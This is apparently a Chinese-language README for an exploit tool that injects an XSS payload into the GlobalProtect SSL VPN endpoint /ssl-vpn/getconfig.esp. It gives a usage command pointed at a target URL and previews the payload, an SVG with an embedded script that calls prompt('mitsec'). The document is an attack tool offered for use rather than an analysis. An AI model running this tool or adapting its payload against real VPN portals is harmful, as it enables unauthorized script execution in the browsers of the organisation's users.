mitsec_vpn_xss_exploit

🔓 针对 GlobalProtect SSL VPN 端点 /ssl-vpn/getconfig.esp 的漏洞利用工具，将构造的 XSS 载荷追加到 URL 中。

用法

python3 exploit.py -u https://target.com

参数

• -u, --url: 基础目标 URL（不要包含查询参数）

载荷预览

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

作者

• GitHub: ynsmroztas
• Twitter: @ynsmroztas